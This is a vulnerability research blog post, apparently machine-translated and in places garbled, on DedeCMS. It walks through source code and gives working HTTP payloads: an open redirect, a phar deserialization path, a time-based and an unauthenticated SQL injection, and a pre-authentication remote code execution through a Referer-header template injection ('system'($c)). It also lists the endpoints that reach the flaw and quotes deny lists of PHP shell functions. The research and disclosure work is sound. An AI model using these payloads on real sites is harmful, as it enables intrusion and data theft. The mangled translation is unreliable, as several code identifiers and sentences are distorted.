In this blog post, I will share technical comments on Dedecms (or "chatting a dream" CMS translated into English), including its attack surface and its differences from other applications. Finally, I will take an impact V5 8.1 end of pre release pre authentication Remote Code Execution Vulnerability. This is an interesting software because its history can be traced back to more than 14 years since its initial release, and PHP has changed a lot over the years.
An online search for "what is China's largest CMS" will soon find that many sources say Dedecms is the most popular. However, almost all of these sources have one thing in common: they are old.
So I decided to do a rough search:

The product is widely deployed, but the vulnerabilities detailed here affect a few sites because it is widely deployed December 11, 2020 Launched and never entered the release version.
Threat modeling
Disclaimer: I have no practical experience in threat modeling. One of the first things I ask myself when reviewing goals is: how does the application accept input? Well, it turns out that the answer to this question of this goal is in include / common In the inc.php script:
function _RunMagicQuotes(&$svar) { if (!@get_magic_quotes_gpc()) { if (is_array($svar)) { foreach ($svar as $_k => $_v) { $svar[$_k] = _RunMagicQuotes($_v); } } else { if (strlen($svar) > 0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#', $svar)) { exit('Request var not allow!'); } $svar = addslashes($svar); } } return $svar; } //... if (!defined('DEDEREQUEST')) { //Check and register the externally submitted variables (modify the relevant filtering during login on August 10, 2011) function CheckRequest(&$val) { if (is_array($val)) { foreach ($val as $_k => $_v) { if ($_k == 'nvarname') { continue; } CheckRequest($_k); CheckRequest($val[$_k]); } } else { if (strlen($val) > 0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#', $val)) { // 2 exit('Request var not allow!'); } } } CheckRequest($_REQUEST); CheckRequest($_COOKIE); foreach (array('_GET', '_POST', '_COOKIE') as $_request) { foreach ($$_request as $_k => $_v) { if ($_k == 'nvarname') { ${$_k} = $_v; } else { ${$_k} = _RunMagicQuotes($_v); // 1 } } } }
If we pay close attention here, we can see the code re enabling register in [1]_ Globals, here PHP 5.4 Has been deleted.
register_globals has always been a huge problem for applications and can lead to a very rich attack surface, which is one of the reasons why PHP has a poor reputation in the past. Also note that they do not protect the at [2]$_ SERVER or$_ FILES super global array.
This may result in open redirection in line [3] http://target.tld/dede/co_url.php?_SERVER [SERVER_SOFTWARE]=PHP%201%20Development%20Server&_ SERVER[SCRIPT_NAME]= http://google.com/ Or phar deserialization and other risks include / uploadsafe inc.php
foreach ($_FILES as $_key => $_value) { foreach ($keyarr as $k) { if (!isset($_FILES[$_key][$k])) { exit("DedeCMS Error: Request Error!"); } } if (preg_match('#^(cfg_|GLOBALS)#', $_key)) { exit('Request var not allow for uploadsafe!'); } $$_key = $_FILES[$_key]['tmp_name']; ${$_key . '_name'} = $_FILES[$_key]['name']; // 4 ${$_key . '_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']); ${$_key . '_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#', '', $_FILES[$_key]['size']); if (is_array(${$_key . '_name'}) && count(${$_key . '_name'}) > 0) { foreach (${$_key . '_name'} as $key => $value) { if (!empty($value) && (preg_match("#\.(" . $cfg_not_allowall . ")$#i", $value) || !preg_match("#\.#", $value))) { if (!defined('DEDEADMIN')) { exit('Not Admin Upload filetype not allow !'); } } } } else { if (!empty(${$_key . '_name'}) && (preg_match("#\.(" . $cfg_not_allowall . ")$#i", ${$_key . '_name'}) || !preg_match("#\.#", ${$_key . '_name'}))) { if (!defined('DEDEADMIN')) { exit('Not Admin Upload filetype not allow !'); } } } if (empty(${$_key . '_size'})) { ${$_key . '_size'} = @filesize($$_key); // 3 }
GET /plus/recommend.php?_FILES[poc][name]=0&_FILES[poc][type]=1337&_FILES[poc][tmp_name]=phar:///path/to/uploaded/phar.rce&_FILES[poc][size]=1337 HTTP/1.1 Host: target
I didn't report these errors because they didn't have any impact (otherwise I would call them vulnerabilities). The open URL redirection error cannot further attack the attacker alone, and the phar deserialization error cannot be triggered without the gadget chain.
Trained eyes will find something particularly interesting. In [4]_name line, the code creates an attacker controlled variable using an unfiltered string_ RunMagicQuotes. This means that an attacker with administrator credentials can upload sys by using a file_ payment. PHP bypasses this function to trigger SQL injection in the script:_ RunMagicQuotes

As a reference, we can see how SQL injection is internally expressed in dede/sys_payment.php:
//Configure payment interface else if ($dopost == 'config') { // 5 if ($pay_name == "" || $pay_desc == "" || $pay_fee == "") { // 6 ShowMsg("You have unfilled items!", "-1"); exit(); } $row = $dsql->GetOne("SELECT * FROM `#@__payment` WHERE id='$pid'"); if ($cfg_soft_lang == 'utf-8') { $config = AutoCharset(unserialize(utf82gb($row['config']))); } else if ($cfg_soft_lang == 'gb2312') { $config = unserialize($row['config']); } $payments = "'code' => '" . $row['code'] . "',"; foreach ($config as $key => $v) { $config[$key]['value'] = ${$key}; $payments .= "'" . $key . "' => '" . $config[$key]['value'] . "',"; } $payments = substr($payments, 0, -1); $payment = "\$payment=array(" . $payments . ")"; $configstr = "<" . "?php\r\n" . $payment . "\r\n?" . ">\r\n"; if (!empty($payment)) { $m_file = DEDEDATA . "/payment/" . $row['code'] . ".php"; $fp = fopen($m_file, "w") or die("write file $safeconfigfile Failed, please check permission!"); fwrite($fp, $configstr); fclose($fp); } if ($cfg_soft_lang == 'utf-8') { $config = AutoCharset($config, 'utf-8', 'gb2312'); $config = serialize($config); $config = gb2utf8($config); } else { $config = serialize($config); } $query = "UPDATE `#@__payment` SET name = '$pay_name',fee='$pay_fee',description='$pay_desc',config='$config',enabled='1' WHERE id='$pid'"; // 7 $dsql->ExecuteNoneQuery($query); // 8
In [5] and [6], some check that $dopost is set to config and $pay_nameļ¼$pay_desc and $pay_ The fee is set from the request. Later, in [7], the code uses the original SQL query provided by the attacker to build an original SQL query $pay_name, in [8], I think it triggered SQL Injection
Defense in depth
In the past, Dedecms developers have been hit hard by SQL injection vulnerabilities (possibly due to register_globals being enabled at the source level). In the above example, we got the response Safe Alert: Request Error step 2 from the server. Of course, our injection failed. Why? Look at include / dedesqli class. PHP knows:
//SQL statement filter program, provided by 80sec, has been appropriately modified here function CheckSql($db_string, $querytype = 'select') { // ...more checks... //The old version of Mysql does not support union, and union is not used in common programs, but some hackers use it, so check it if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0) { $fail = true; $error = "union detect"; } // ...more checks... //The old version of MYSQL does not support sub query, which may be used less in our program, but hackers can use it to query database sensitive information elseif (preg_match('~\([^)]*?select~s', $clean) != 0) { $fail = true; $error = "sub select detect"; } if (!empty($fail)) { fputs(fopen($log_file, 'a+'), "$userIP||$getUrl||$db_string||$error\r\n"); exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>"); // 9 } else { return $db_string; }
It is called Execute by CheckSql
//Execute an SQL statement with returned results, such as SELECT, SHOW, etc public function Execute($id = "me", $sql = '') { //... //SQL statement security check if ($this->safeCheck) { CheckSql($this->queryString); }
And SetQuery:
public function SetQuery($sql) { $prefix = "#@__"; $sql = trim($sql); if (substr($sql, -1) !== ";") { $sql .= ";"; } $sql = str_replace($prefix, $GLOBALS['cfg_dbprefix'], $sql); CheckSql($sql, $this->getSQLType($sql)); // Before version 5.7, only SELECT is filtered, but UPDATE, INSERT, DELETE and other statements are not filtered. $this->queryString = $sql; }
But we can avoid this function by using another function that is also called, mysqli_query, such as GetTableFields:
//Get information for a specific table public function GetTableFields($tbname, $id = "me") { global $dsqli; if (!$dsqli->isInit) { $this->Init($this->pconnect); } $prefix = "#@__"; $tbname = str_replace($prefix, $GLOBALS['cfg_dbprefix'], $tbname); $query = "SELECT * FROM {$tbname} LIMIT 0,1"; $this->result[$id] = mysqli_query($this->linkID, $query); }
It's not, it's just any old sink. This doesn't use quotation marks, so we don't need to break the quoted string, which is necessary because our input will flow through_ RunMagicQuotes function. GetTableFields can be in [10] Dede / sys_ data_ done. Dangerous usage found in PHP line script:
if ($dopost == 'bak') { if (empty($tablearr)) { ShowMsg('You didn't select any tables!', 'javascript:;'); exit(); } if (!is_dir($bkdir)) { MkdirAll($bkdir, $cfg_dir_purview); CloseFtp(); } if (empty($nowtable)) { $nowtable = ''; } if (empty($fsize)) { $fsize = 20480; } $fsizeb = $fsize * 1024; //Operation of the first page if ($nowtable == '') { //... } //Perform a paging backup else { $j = 0; $fs = array(); $bakStr = ''; //Field information in analysis table $dsql->GetTableFields($nowtable); // 10
GET /dede/sys_data_done.php?dopost=bak&tablearr=1&nowtable=%23@__vote+where+1=sleep(5)--+& HTTP/1.1 Host: target Cookie: PHPSESSID=jr66dkukb66aifov2sf2cuvuah;
But of course, this requires administrator privileges, which is not of interest to us (no elevation of privileges or bypassing authentication).
Find pre validated endpoints
If we try harder, we can include / filter Inc.php found some more interesting code in the older version: dedecms-v5 7-UTF8-SP2. tar. gz.
$magic_quotes_gpc = ini_get('magic_quotes_gpc'); function _FilterAll($fk, &$svar) { global $cfg_notallowstr, $cfg_replacestr, $magic_quotes_gpc; if (is_array($svar)) { foreach ($svar as $_k => $_v) { $svar[$_k] = _FilterAll($fk, $_v); } } else { if ($cfg_notallowstr != '' && preg_match("#" . $cfg_notallowstr . "#i", $svar)) { ShowMsg(" $fk has not allow words!", '-1'); exit(); } if ($cfg_replacestr != '') { $svar = preg_replace('/' . $cfg_replacestr . '/i', "***", $svar); } } if (!$magic_quotes_gpc) { $svar = addslashes($svar); } return $svar; } /* Right_ GET,_POST,_COOKIE for filtering */ foreach (array('_GET', '_POST', '_COOKIE') as $_request) { foreach ($$_request as $_k => $_v) { ${$_k} = _FilterAll($_k, $_v); } }
Can you see what's wrong here? Code set $magic in configuration_ quotes_ gpc. If not in PHP If it is set in inithen, addslashes is called. But we can use $magic_quotes_gpc uses and rewrites the variable in the request and avoids addslashes!
This code is used to submit feedback performed by an unauthenticated user. I decided to take a look and I found the following sink / plus / bookfeedback php:
else if($action=='send') { //... //Check verification code if($cfg_feedback_ck=='Y') { $validate = isset($validate) ? strtolower(trim($validate)) : ''; $svali = strtolower(trim(GetCkVdValue())); if($validate != $svali || $svali=='') { ResetVdValue(); ShowMsg('Verification code error!','-1'); exit(); } } //... if($comtype == 'comments') { $arctitle = addslashes($arcRow['arctitle']); $arctitle = $arcRow['arctitle']; if($msg!='') { $inquery = "INSERT INTO `#@__bookfeedback`(`aid`,`catid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('$aid','$catid','$username','$bookname','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); "; // 11 $rs = $dsql->ExecuteNoneQuery($inquery); // 12 if(!$rs) { echo $dsql->GetError(); exit(); } } }
In [11], we can see that the code constructs a query $bookname using attacker controlled inputs such as $catid and. It is possible to log in to this receiver and bypass addslashes to trigger unauthenticated SQL injection:
POST /plus/bookfeedback.php?action=send&fid=1337&validate=FS0Y&isconfirm=yes&comtype=comments HTTP/1.1 Host: target Cookie: PHPSESSID=0ft86536dgqs1uonf64bvjpkh3; Content-Type: application/x-www-form-urlencoded Content-Length: 70 magic_quotes_gpc=1&catid=1',version(),concat('&bookname=')||'s&msg=pwn
We have a set of session cookie s because it is associated with authentication codes stored in unauthenticated sessions:

Fortunately, I can't bypass CheckSql (no), but I can bypass and leak some data from the database because I can inject with $catid and $bookname at the same time, and then (ab) use the second command:
else if($action=='quote') { $row = $dsql->GetOne("Select * from `#@__bookfeedback` where id ='$fid'"); require_once(DEDEINC.'/dedetemplate.class.php'); $dtp = new DedeTemplate(); $dtp->LoadTemplate($cfg_basedir.$cfg_templets_dir.'/plus/bookfeedback_quote.htm'); $dtp->Display(); exit(); }
All I have to do is guess $fid (primary key) and check whether it matches through injection. If $msg matches pwn, I know that the injection result has been displayed to me:

However, this SQL injection is limited because I cannot use the select,sleep or benchmark keywords because they are rejected by the CheckSql function. Since the vulnerability was discovered, it seems that the developer / plus / bookfeedback PHP has deleted this file in the latest version, but the core problem bypassed addslashes still exists. At this point, if we want to find key vulnerabilities, we need to focus on different error categories.

ShowMsg template injection Remote Code Execution Vulnerability
- CVSS: 9.8(/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
- Version: 5.8.1 pre release
generalization
Unauthenticated attackers can execute arbitrary code against the vulnerable version of Dedecms.
Vulnerability analysis
plus/flink.php script internal:
if ($dopost == 'save') { $validate = isset($validate) ? strtolower(trim($validate)) : ''; $svali = GetCkVdValue(); if ($validate == '' || $validate != $svali) { ShowMsg('Incorrect verification code!', '-1'); // 1 exit(); }
In [1], we can observe the call include / common defined in ShowMsg func. php:
function ShowMsg($msg, $gourl, $onlymsg = 0, $limittime = 0) { if (empty($GLOBALS['cfg_plus_dir'])) { $GLOBALS['cfg_plus_dir'] = '..'; } if ($gourl == -1) { // 2 $gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; // 3 if ($gourl == "") { $gourl = -1; } } $htmlhead = " <html>\r\n<head>\r\n<title>DedeCMS Prompt information ... <script>\r\n"; $htmlfoot = " </script> ... </body>\r\n</html>\r\n"; $litime = ($limittime == 0 ? 1000 : $limittime); $func = ''; //... if ($gourl == '' || $onlymsg == 1) { //... } else { //... $func .= "var pgo=0; function JumpUrl(){ if(pgo==0){ location='$gourl'; pgo=1; } }\r\n"; $rmsg = $func; //... if ($onlymsg == 0) { if ($gourl != 'javascript:;' && $gourl != '') { $rmsg .= "<br /><a href='{$gourl}'>If your browser doesn't respond, please click here...</a>"; $rmsg .= "<br/></div>\");\r\n"; $rmsg .= "setTimeout('JumpUrl()',$litime);"; } else { //... } } else { //... } $msg = $htmlhead . $rmsg . $htmlfoot; } $tpl = new DedeTemplate(); $tpl->LoadString($msg); // 4 $tpl->Display(); // 5 }
As we can see in [2], if $gourl is set to - 1, an attacker can control the variable at [3]$gourl through the referer header. This variable is unfiltered and embedded twice in the variable loaded by the call at [4] and resolved by the call at [5]. In it, we found: $msgloadstringdisplayinclude / dedetemplate class. php
class DedeTemplate { //... public function LoadString($str = '') { $this->sourceString = $str; // 6 $hashcode = md5($this->sourceString); $this->cacheFile = $this->cacheDir . "/string_" . $hashcode . ".inc"; $this->configFile = $this->cacheDir . "/string_" . $hashcode . "_config.inc"; $this->ParseTemplate(); } //... public function Display() { global $gtmpfile; extract($GLOBALS, EXTR_SKIP); $this->WriteCache(); // 7 include $this->cacheFile; // 9 }
At [6], sourceString is set to control $msg by the attacker. Then call at [7] WriteCache:
public function WriteCache($ctype = 'all') { if (!file_exists($this->cacheFile) || $this->isCache == false || (file_exists($this->templateFile) && (filemtime($this->templateFile) > filemtime($this->cacheFile))) ) { if (!$this->isParse) { //... } $fp = fopen($this->cacheFile, 'w') or dir("Write Cache File Error! "); flock($fp, 3); $result = trim($this->GetResult()); // 8 $errmsg = ''; if (!$this->CheckDisabledFunctions($result, $errmsg)) { // 9 fclose($fp); @unlink($this->cacheFile); die($errmsg); } fwrite($fp, $result); fclose($fp); //... }
At [8], the code calls GetResult return value insourceString to set the $result variable, which now contains the attacker controlled input. At [9], the CheckDisabledFunctions function is called on the $result variable. Let's see what CheckDisabledFunctions is all about:
public function CheckDisabledFunctions($str, &$errmsg = '') { global $cfg_disable_funs; $cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite'; // Add disable to template engine_ functions if (!defined('DEDEDISFUN')) { $tokens = token_get_all_nl($str); $disabled_functions = explode(',', $cfg_disable_funs); foreach ($tokens as $token) { if (is_array($token)) { if ($token[0] = '306' && in_array($token[1], $disabled_functions)) { $errmsg = 'DedeCMS Error:function disabled "' . $token[1] . '" <a href="http://help.dedecms.com/install-use/apply/2013/0711/2324.html" target="_blank">more...</a>'; return false; } } } } return true; }
OK. The attacker may bypass this rejection list through some creative methods, write malicious php to a temporary file, and finally reach in at [9] to execute include arbitrary code. Display
Proof of concept
You can borrow their own code and call dangerous functions, but there are several common ways to bypass the reject list anyway. The double quotation marks of the reference header are not checked, so the following payload will work:
GET /plus/flink.php?dopost=save&c=id HTTP/1.1 Host: target Referer: <?php "system"($c);die;/*

The following (non exhaustive) list path can reach the vulnerability:
- /plus/flink.php?dopost=save
- /plus/users_products.php?oid=1337
- /plus/download.php?aid=1337
- /plus/showphoto.php?aid=1337
- /plus/users-do.php?fmdo=sendMail
- /plus/posttocar.php?id=1337
- /plus/vote.php?dopost=view
- /plus/carbuyaction.php?do=clickout
- /plus/recommend.php
- ...
report
I discovered this vulnerability around April 2021, but decided to continue using it because it only affects pre-release Release version without affecting the release version. After several months of inactivity in repo, I decided to report the error on September 23, opensource@dedecms.com And released a solution to the error 2 days later Silent patch:

Due to this behavior of developers, I decided not to report the remaining RCE vulnerabilities that affect the release. Although I agree that CVE is not required, I do believe that at least security instructions should be added to the submission.